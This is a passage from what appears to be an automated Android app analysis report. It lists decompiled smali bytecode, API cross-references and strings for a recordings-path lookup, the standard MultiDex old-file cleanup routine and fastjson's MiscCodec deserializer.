                                                171const-string v2, "/Recordings/"
                                                173invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                175invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                176move-result-object v0
                                                177new-instance v2, Ljava/lang/StringBuilder;
                                                179invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                181invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                183invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                185invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                186move-result-object v0
                                                187goto/16 :goto_106
                                                188cond_fe:
                                                189invoke-interface {p1, v4}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                                                190move-result v0
                                                192invoke-interface {p1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                                                193move-result-object v0
                                                194goto_106:
                                                195invoke-interface {p1}, Landroid/database/Cursor;->close()V
                                                196cond_109: return-object v0
                                                Cross References
                                                APIs
                                                • java.io.File.mkdirs
                                                • java.io.File.isDirectory
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.io.IOException.<init>
                                                • android.support.coreui.app.a.b$100000000.<init>
                                                • java.io.File.listFiles
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • java.lang.StringBuffer.append
                                                • java.io.File.length
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                • java.io.File.delete
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.w
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • java.io.File.getPath
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.util.Log.i
                                                Strings
                                                • Failed to create dex directory
                                                • MultiDex
                                                • Failed to list secondary dex dir content (
                                                • ).
                                                • Trying to delete old file
                                                • of size
                                                • Failed to delete old file
                                                • Deleted old file
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Ljava/io/File;",
                                                4"Ljava/lang/String;",
                                                5")V^",
                                                6"Ljava/io/IOException;"
                                                7}
                                                8.end annotation
                                                9.annotation system Ldalvik/annotation/Throws;
                                                10value = {
                                                11Ljava/io/IOException;
                                                12}
                                                13.end annotation
                                                14.prologue
                                                15move-object/from16 v1, p0
                                                16move-object/from16 v2, p1
                                                17move-object v10, v1
                                                19invoke-virtual {v10}, Ljava/io/File;->mkdirs()Z
                                                20move-result v10
                                                21move-object v10, v1
                                                23invoke-virtual {v10}, Ljava/io/File;->isDirectory()Z
                                                24move-result v10
                                                25if-nez v10, :cond_34
                                                26new-instance v10, Ljava/io/IOException;
                                                27move-object v15, v10
                                                28move-object v10, v15
                                                29move-object v11, v15
                                                30new-instance v12, Ljava/lang/StringBuffer;
                                                31move-object v15, v12
                                                32move-object v12, v15
                                                33move-object v13, v15
                                                35invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                37const-string v13, "Failed to create dex directory "
                                                39invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                40move-result-object v12
                                                41move-object v13, v1
                                                43invoke-virtual {v13}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                44move-result-object v13
                                                46invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                47move-result-object v12
                                                49invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                50move-result-object v12
                                                52invoke-direct {v11, v12}, Ljava/io/IOException;-><init>(Ljava/lang/String;)V
                                                53throw v10
                                                54cond_34: new-instance v10, Landroid/support/coreui/app/a/b$100000000;
                                                55move-object v15, v10
                                                56move-object v10, v15
                                                57move-object v11, v15
                                                58move-object v12, v2
                                                60invoke-direct {v11, v12}, Landroid/support/coreui/app/a/b$100000000;-><init>(Ljava/lang/String;)V
                                                61move-object v4, v10
                                                62move-object v10, v1
                                                63move-object v11, v4
                                                65invoke-virtual {v10, v11}, Ljava/io/File;->listFiles(Ljava/io/FileFilter;)[Ljava/io/File;
                                                66move-result-object v10
                                                67move-object v5, v10
                                                68move-object v10, v5
                                                69if-nez v10, :cond_80
                                                71const-string v10, "MultiDex"
                                                72new-instance v11, Ljava/lang/StringBuffer;
                                                73move-object v15, v11
                                                74move-object v11, v15
                                                75move-object v12, v15
                                                77invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                78new-instance v12, Ljava/lang/StringBuffer;
                                                79move-object v15, v12
                                                80move-object v12, v15
                                                81move-object v13, v15
                                                83invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                85const-string v13, "Failed to list secondary dex dir content ("
                                                87invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                88move-result-object v12
                                                89move-object v13, v1
                                                91invoke-virtual {v13}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                92move-result-object v13
                                                94invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                95move-result-object v12
                                                97invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                98move-result-object v12
                                                100invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                101move-result-object v11
                                                103const-string v12, ")."
                                                105invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                106move-result-object v11
                                                108invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                109move-result-object v11
                                                111invoke-static {v10, v11}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                112move-result v10
                                                113goto_7f: return-void
                                                114cond_80: move-object v10, v5
                                                115move-object v6, v10
                                                116const/4 v10, 0x0
                                                117move v7, v10
                                                118goto_84: move v10, v7
                                                119move-object v11, v6
                                                120array-length v11, v11
                                                121if-lt v10, v11, :cond_8a
                                                122goto/16 :goto_7f
                                                123cond_8a: move-object v10, v6
                                                124move v11, v7
                                                125aget-object v10, v10, v11
                                                126move-object v8, v10
                                                128const-string v10, "MultiDex"
                                                129new-instance v11, Ljava/lang/StringBuffer;
                                                130move-object v15, v11
                                                131move-object v11, v15
                                                132move-object v12, v15
                                                134invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                135new-instance v12, Ljava/lang/StringBuffer;
                                                136move-object v15, v12
                                                137move-object v12, v15
                                                138move-object v13, v15
                                                140invoke-direct {v13}, Ljava/lang/StringBuffer;-><init>()V
                                                141new-instance v13, Ljava/lang/StringBuffer;
                                                142move-object v15, v13
                                                143move-object v13, v15
                                                144move-object v14, v15
                                                146invoke-direct {v14}, Ljava/lang/StringBuffer;-><init>()V
                                                148const-string v14, "Trying to delete old file "
                                                150invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                151move-result-object v13
                                                152move-object v14, v8
                                                154invoke-virtual {v14}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                155move-result-object v14
                                                157invoke-virtual {v13, v14}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                158move-result-object v13
                                                160invoke-virtual {v13}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                161move-result-object v13
                                                163invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                164move-result-object v12
                                                166const-string v13, " of size "
                                                168invoke-virtual {v12, v13}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                169move-result-object v12
                                                171invoke-virtual {v12}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                172move-result-object v12
                                                174invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                175move-result-object v11
                                                176move-object v12, v8
                                                178invoke-virtual {v12}, Ljava/io/File;->length()J
                                                179move-result-wide v12
                                                181invoke-virtual {v11, v12, v13}, Ljava/lang/StringBuffer;->append(J)Ljava/lang/StringBuffer;
                                                182move-result-object v11
                                                184invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                185move-result-object v11
                                                187invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                188move-result v10
                                                189move-object v10, v8
                                                191invoke-virtual {v10}, Ljava/io/File;->delete()Z
                                                192move-result v10
                                                193if-nez v10, :cond_10b
                                                195const-string v10, "MultiDex"
                                                196new-instance v11, Ljava/lang/StringBuffer;
                                                197move-object v15, v11
                                                198move-object v11, v15
                                                199move-object v12, v15
                                                201invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                203const-string v12, "Failed to delete old file "
                                                205invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                206move-result-object v11
                                                207move-object v12, v8
                                                209invoke-virtual {v12}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                210move-result-object v12
                                                212invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                213move-result-object v11
                                                215invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                216move-result-object v11
                                                218invoke-static {v10, v11}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
                                                219move-result v10
                                                220goto_107: add-int/lit8 v7, v7, 0x1
                                                221goto/16 :goto_84
                                                222cond_10b:
                                                223const-string v10, "MultiDex"
                                                224new-instance v11, Ljava/lang/StringBuffer;
                                                225move-object v15, v11
                                                226move-object v11, v15
                                                227move-object v12, v15
                                                229invoke-direct {v12}, Ljava/lang/StringBuffer;-><init>()V
                                                231const-string v12, "Deleted old file "
                                                233invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                234move-result-object v11
                                                235move-object v12, v8
                                                237invoke-virtual {v12}, Ljava/io/File;->getPath()Ljava/lang/String;
                                                238move-result-object v12
                                                240invoke-virtual {v11, v12}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                241move-result-object v11
                                                243invoke-virtual {v11}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                244move-result-object v11
                                                246invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                                                247move-result v10
                                                248goto/16 :goto_107
                                                APIs
                                                • java.lang.String.equals
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.net.InetSocketAddress.<init>
                                                • java.lang.String.equals
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.String.length
                                                • java.util.UUID.fromString
                                                • java.net.URI.create
                                                • java.net.URL.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.util.regex.Pattern.compile
                                                • java.lang.String.split
                                                • java.util.Locale.<init>
                                                • java.util.Locale.<init>
                                                • java.util.Locale.<init>
                                                • java.text.SimpleDateFormat.<init>
                                                • java.text.SimpleDateFormat.setTimeZone
                                                • java.io.File.<init>
                                                • java.util.TimeZone.getTimeZone
                                                • java.lang.reflect.ParameterizedType.getRawType
                                                • java.nio.charset.Charset.forName
                                                • java.util.Currency.getInstance
                                                • java.lang.reflect.Type.getTypeName
                                                • java.lang.String.equals
                                                • java.lang.Class.getMethod
                                                • java.lang.reflect.Method.invoke
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • java.net.InetAddress.getByName
                                                • com.alibaba.fastjson.JSONException.<init>
                                                • com.alibaba.fastjson.JSONException.<init>
                                                Strings
                                                • Path deserialize erorr
                                                • address
                                                • port
                                                • port is not int
                                                • syntax error
                                                • val
                                                • create url error
                                                • _
                                                • java.nio.file.Path
                                                • java.nio.file.Paths
                                                • get
                                                • MiscCodec not support
                                                • deserialize inet adress error
                                                • expect string
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"<T:",
                                                3"Ljava/lang/Object;",
                                                4">(",
                                                5"Lcom/alibaba/fastjson/parser/DefaultJSONParser;",
                                                6"Ljava/lang/reflect/Type;",
                                                7"Ljava/lang/Object;",
                                                8")TT;"
                                                9}
                                                10.end annotation
                                                12const-string p3, "Path deserialize erorr"
                                                14iget-object v0, p1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->lexer:Lcom/alibaba/fastjson/parser/JSONLexer;
                                                15const-class v1, Ljava/net/InetSocketAddress;
                                                16const/16 v2, 0xd
                                                17const/16 v3, 0x10
                                                18const/16 v4, 0x11
                                                19const/4 v5, 0x0
                                                20const/4 v6, 0x2
                                                21const/4 v7, 0x0
                                                22if-ne p2, v1, :cond_79
                                                24invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                25move-result p2
                                                26const/16 p3, 0x8
                                                27if-ne p2, p3, :cond_1d
                                                29invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                30return-object v5
                                                31cond_1d: const/16 p2, 0xc
                                                33invoke-virtual {p1, p2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                34goto_22:
                                                35invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                36move-result-object p2
                                                38invoke-interface {v0, v4}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken(I)V
                                                40const-string p3, "address"
                                                42invoke-virtual {p2, p3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                43move-result p3
                                                44if-eqz p3, :cond_3e
                                                46invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                47const-class p2, Ljava/net/InetAddress;
                                                49invoke-virtual {p1, p2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parseObject(Ljava/lang/Class;)Ljava/lang/Object;
                                                50move-result-object p2
                                                51check-cast p2, Ljava/net/InetAddress;
                                                52move-object v5, p2
                                                53goto/16 :goto_66
                                                54cond_3e:
                                                55const-string p3, "port"
                                                57invoke-virtual {p2, p3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                58move-result p2
                                                59if-eqz p2, :cond_60
                                                61invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                63invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                64move-result p2
                                                65if-ne p2, v6, :cond_58
                                                67invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->intValue()I
                                                68move-result p2
                                                70invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                71move v7, p2
                                                72goto/16 :goto_66
                                                73cond_58: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                75const-string p2, "port is not int"
                                                77invoke-direct {p1, p2}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                78throw p1
                                                79cond_60:
                                                80invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                82invoke-virtual {p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parse()Ljava/lang/Object;
                                                83goto_66:
                                                84invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                85move-result p2
                                                86if-ne p2, v3, :cond_70
                                                88invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                89goto/16 :goto_22
                                                90cond_70:
                                                91invoke-virtual {p1, v2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                92new-instance p1, Ljava/net/InetSocketAddress;
                                                94invoke-direct {p1, v5, v7}, Ljava/net/InetSocketAddress;-><init>(Ljava/net/InetAddress;I)V
                                                95return-object p1
                                                96cond_79: iget v1, p1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                97if-ne v1, v6, :cond_b1
                                                98iput v7, p1, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->resolveStatus:I
                                                100invoke-virtual {p1, v3}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                102invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->token()I
                                                103move-result v1
                                                104const/4 v3, 0x4
                                                106const-string v8, "syntax error"
                                                107if-ne v1, v3, :cond_ab
                                                109invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->stringVal()Ljava/lang/String;
                                                110move-result-object v1
                                                112const-string v3, "val"
                                                114invoke-virtual {v3, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                115move-result v1
                                                116if-eqz v1, :cond_a5
                                                118invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->nextToken()V
                                                120invoke-virtual {p1, v4}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                122invoke-virtual {p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parse()Ljava/lang/Object;
                                                123move-result-object v1
                                                125invoke-virtual {p1, v2}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->accept(I)V
                                                126goto/16 :goto_b5
                                                127cond_a5: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                129invoke-direct {p1, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                130throw p1
                                                131cond_ab: new-instance p1, Lcom/alibaba/fastjson/JSONException;
                                                133invoke-direct {p1, v8}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                134throw p1
                                                135cond_b1:
                                                136invoke-virtual {p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->parse()Ljava/lang/Object;
                                                137move-result-object v1
                                                138goto_b5: if-nez v1, :cond_b9
                                                139move-object v1, v5
                                                140goto/16 :goto_bf
                                                141cond_b9: instance-of v2, v1, Ljava/lang/String;
                                                142if-eqz v2, :cond_20e
                                                143check-cast v1, Ljava/lang/String;
                                                144goto_bf: if-eqz v1, :cond_20d
                                                146invoke-virtual {v1}, Ljava/lang/String;->length()I
                                                147move-result v2
                                                148if-nez v2, :cond_c9
                                                149goto/16 :goto_20d
                                                150cond_c9: const-class v2, Ljava/util/UUID;
                                                151if-ne p2, v2, :cond_d2
                                                153invoke-static {v1}, Ljava/util/UUID;->fromString(Ljava/lang/String;)Ljava/util/UUID;
                                                154move-result-object p1
                                                155return-object p1
                                                156cond_d2: const-class v2, Ljava/net/URI;
                                                157if-ne p2, v2, :cond_db
                                                159invoke-static {v1}, Ljava/net/URI;->create(Ljava/lang/String;)Ljava/net/URI;
                                                160move-result-object p1
                                                161return-object p1
                                                162cond_db: const-class v2, Ljava/net/URL;
                                                163if-ne p2, v2, :cond_ee
                                                164try_start_df: new-instance p1, Ljava/net/URL;
                                                166invoke-direct {p1, v1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                167try_end_e4: return-object p1
                                                168catch_e5: move-exception p1
                                                169new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                171const-string p3, "create url error"
                                                173invoke-direct {p2, p3, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                174throw p2
                                                175cond_ee: const-class v2, Ljava/util/regex/Pattern;
                                                176if-ne p2, v2, :cond_f7
                                                178invoke-static {v1}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;)Ljava/util/regex/Pattern;
                                                179move-result-object p1
                                                180return-object p1
                                                181cond_f7: const-class v2, Ljava/util/Locale;
                                                182const/4 v3, 0x1
                                                183if-ne p2, v2, :cond_126
                                                185const-string p1, "_"
                                                187invoke-virtual {v1, p1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                188move-result-object p1
                                                189array-length p2, p1
                                                190if-ne p2, v3, :cond_10d
                                                191new-instance p2, Ljava/util/Locale;
                                                192aget-object p1, p1, v7
                                                194invoke-direct {p2, p1}, Ljava/util/Locale;-><init>(Ljava/lang/String;)V
                                                195return-object p2
                                                196cond_10d: array-length p2, p1
                                                197if-ne p2, v6, :cond_11a
                                                198new-instance p2, Ljava/util/Locale;
                                                199aget-object p3, p1, v7
                                                200aget-object p1, p1, v3
                                                202invoke-direct {p2, p3, p1}, Ljava/util/Locale;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                203return-object p2
                                                204cond_11a: new-instance p2, Ljava/util/Locale;
                                                205aget-object p3, p1, v7
                                                206aget-object v0, p1, v3
                                                207aget-object p1, p1, v6
                                                209invoke-direct {p2, p3, v0, p1}, Ljava/util/Locale;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                210return-object p2
                                                211cond_126: const-class v2, Ljava/text/SimpleDateFormat;
                                                212if-ne p2, v2, :cond_13b
                                                213new-instance p1, Ljava/text/SimpleDateFormat;
                                                215invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->getLocale()Ljava/util/Locale;
                                                216move-result-object p2
                                                218invoke-direct {p1, v1, p2}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;Ljava/util/Locale;)V
                                                220invoke-interface {v0}, Lcom/alibaba/fastjson/parser/JSONLexer;->getTimeZone()Ljava/util/TimeZone;
                                                221move-result-object p2
                                                223invoke-virtual {p1, p2}, Ljava/text/SimpleDateFormat;->setTimeZone(Ljava/util/TimeZone;)V
                                                224return-object p1
                                                225cond_13b: const-class v0, Ljava/net/InetAddress;
                                                226if-eq p2, v0, :cond_1ff
                                                227const-class v0, Ljava/net/Inet4Address;
                                                228if-eq p2, v0, :cond_1ff
                                                229const-class v0, Ljava/net/Inet6Address;
                                                230if-ne p2, v0, :cond_149
                                                231goto/16 :goto_1ff
                                                232cond_149: const-class v0, Ljava/io/File;
                                                233if-ne p2, v0, :cond_153
                                                234new-instance p1, Ljava/io/File;
                                                236invoke-direct {p1, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                237return-object p1
                                                238cond_153: const-class v0, Ljava/util/TimeZone;
                                                239if-ne p2, v0, :cond_15c
                                                241invoke-static {v1}, Ljava/util/TimeZone;->getTimeZone(Ljava/lang/String;)Ljava/util/TimeZone;
                                                242move-result-object p1
                                                243return-object p1
                                                244cond_15c: instance-of v0, p2, Ljava/lang/reflect/ParameterizedType;
                                                245if-eqz v0, :cond_166
                                                246check-cast p2, Ljava/lang/reflect/ParameterizedType;
                                                248invoke-interface {p2}, Ljava/lang/reflect/ParameterizedType;->getRawType()Ljava/lang/reflect/Type;
                                                249move-result-object p2
                                                250cond_166: const-class v0, Ljava/lang/Class;
                                                251if-ne p2, v0, :cond_177
                                                253invoke-virtual {p1}, Lcom/alibaba/fastjson/parser/DefaultJSONParser;->getConfig()Lcom/alibaba/fastjson/parser/ParserConfig;
                                                254move-result-object p1
                                                256invoke-virtual {p1}, Lcom/alibaba/fastjson/parser/ParserConfig;->getDefaultClassLoader()Ljava/lang/ClassLoader;
                                                257move-result-object p1
                                                259invoke-static {v1, p1}, Lcom/alibaba/fastjson/util/TypeUtils;->loadClass(Ljava/lang/String;Ljava/lang/ClassLoader;)Ljava/lang/Class;
                                                260move-result-object p1
                                                261return-object p1
                                                262cond_177: const-class p1, Ljava/nio/charset/Charset;
                                                263if-ne p2, p1, :cond_180
                                                265invoke-static {v1}, Ljava/nio/charset/Charset;->forName(Ljava/lang/String;)Ljava/nio/charset/Charset;
                                                266move-result-object p1
                                                267return-object p1
                                                268cond_180: const-class p1, Ljava/util/Currency;
                                                269if-ne p2, p1, :cond_189
                                                271invoke-static {v1}, Ljava/util/Currency;->getInstance(Ljava/lang/String;)Ljava/util/Currency;
                                                272move-result-object p1
                                                273return-object p1
                                                274cond_189: const-class p1, Lcom/alibaba/fastjson/JSONPath;
                                                275if-ne p2, p1, :cond_193
                                                276new-instance p1, Lcom/alibaba/fastjson/JSONPath;
                                                278invoke-direct {p1, v1}, Lcom/alibaba/fastjson/JSONPath;-><init>(Ljava/lang/String;)V
                                                279return-object p1
                                                280cond_193:
                                                281invoke-interface {p2}, Ljava/lang/reflect/Type;->getTypeName()Ljava/lang/String;
                                                282move-result-object p1
                                                284const-string p2, "java.nio.file.Path"
                                                286invoke-virtual {p1, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                287move-result p2
                                                288if-eqz p2, :cond_1e8
                                                289try_start_19f:
                                                290sget-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->method_paths_get:Ljava/lang/reflect/Method;
                                                291if-nez p2, :cond_1bf
                                                292sget-boolean p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->method_paths_get_error:Z
                                                293if-nez p2, :cond_1bf
                                                295const-string p2, "java.nio.file.Paths"
                                                297invoke-static {p2}, Lcom/alibaba/fastjson/util/TypeUtils;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                                                298move-result-object p2
                                                300const-string v0, "get"
                                                301new-array v2, v6, [Ljava/lang/Class;
                                                302const-class v4, Ljava/lang/String;
                                                303aput-object v4, v2, v7
                                                304const-class v4, [Ljava/lang/String;
                                                305aput-object v4, v2, v3
                                                307invoke-virtual {p2, v0, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                308move-result-object p2
                                                309sput-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->method_paths_get:Ljava/lang/reflect/Method;
                                                310cond_1bf:
                                                311sget-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->method_paths_get:Ljava/lang/reflect/Method;
                                                312if-eqz p2, :cond_1d2
                                                314sget-object p2, Lcom/alibaba/fastjson/serializer/MiscCodec;->method_paths_get:Ljava/lang/reflect/Method;
                                                315new-array v0, v6, [Ljava/lang/Object;
                                                316aput-object v1, v0, v7
                                                317new-array v1, v7, [Ljava/lang/String;
                                                318aput-object v1, v0, v3
                                                320invoke-virtual {p2, v5, v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                321move-result-object p1
                                                322return-object p1
                                                323cond_1d2: new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                325invoke-direct {p2, p3}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                326throw p2
                                                327catch_1d8: move-exception p1
                                                328new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                330invoke-direct {p2, p3, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                331throw p2
                                                332catch_1df: move-exception p1
                                                333new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                335invoke-direct {p2, p3, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                                336throw p2
                                                337catch_1e6: sput-boolean v3, Lcom/alibaba/fastjson/serializer/MiscCodec;->method_paths_get_error:Z
                                                338cond_1e8: new-instance p2, Lcom/alibaba/fastjson/JSONException;
                                                339new-instance p3, Ljava/lang/StringBuilder;
                                                341invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
                                                343const-string v0, "MiscCodec not support "
                                                345invoke-virtual {p3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                347invoke-virtual {p3, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                349invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                350move-result-object p1
                                                352invoke-direct {p2, p1}, Lcom/alibaba/fastjson/JSONException;-><init>(Ljava/lang/String;)V
                                                353throw p2
                                                354goto_1ff:
